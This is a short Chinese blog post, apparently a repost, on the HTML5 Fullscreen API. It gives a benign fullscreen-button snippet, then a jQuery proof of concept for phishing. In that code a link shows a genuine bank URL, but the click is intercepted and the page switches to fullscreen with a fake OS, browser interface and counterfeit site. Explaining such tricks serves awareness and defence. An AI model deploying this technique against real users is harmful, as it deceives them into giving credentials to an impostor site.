HTML5全屏API

最新推荐文章于 2025-05-01 10:24:26 发布

weixin_30241919

最新推荐文章于 2025-05-01 10:24:26 发布

阅读量131

点赞数

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/rsky/p/4847037.html

　　现在大多数浏览器都有全屏功能，允许用户来设置或操作。但HTML5的全屏API与之不同，HTML5的全屏API允许web开发工程师在程序中调用。
这样，web开发工程师就可以再网站中设计一个按钮，当该按钮被点击时就让浏览器进入全屏模式。（就像youtube和facebook那样）

全屏代码如下：

// Assuming jQuery is available
 
// Fullscreen the HTML document on click
$('#fullscreen-button').on('click', function() {
    var doc = document.documentElement;
    if (doc.requestFullscreen) {
        doc.requestFullscreen();
    }
});

当然这个api还只是草案，所以在应用中，需要加上前缀（mozRequestFullScreen() 和webkitRequestFullScreen()）

怎么实现网络钓鱼攻击

　　首先，创建一个链接：<a href="https://www.bankofamerica.com">美国银行</a>

     注意，当用户鼠标滑过该连接时，浏览器状态栏显示的是正常的链接地址。但是当用户点击时，程序中会调用 event.preventDefault()来阻止浏览器默认跳转事件。取而代之的是触发全屏，进入全屏模式，展现一个仿制的带有相应的操作系统和浏览器ui界面的假冒网站。
     另外：该连接只有正常点击才会生效，如果右键“在新窗口打开”或鼠标中建点击是会正常跳转的。

$('html').on('click keypress', 'a', function(event) {

    // 阻止默认行为及冒泡
    event.preventDefault();
    event.stopPropagation();
 
    // Trigger fullscreen
    if (element.requestFullscreen) {
        document.documentElement.requestFullscreen();
    } else if (element.webkitRequestFullScreen) {
        document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
    } else if (element.mozRequestFullScreen) {
        document.documentElement.mozRequestFullScreen();
    } else {
        // fail  nothing todo
    }
 
    // Show fake OS and browser UI
    $('#menu, #browser').show();
 
    // Show fake target site
    $('#target-site').show();

});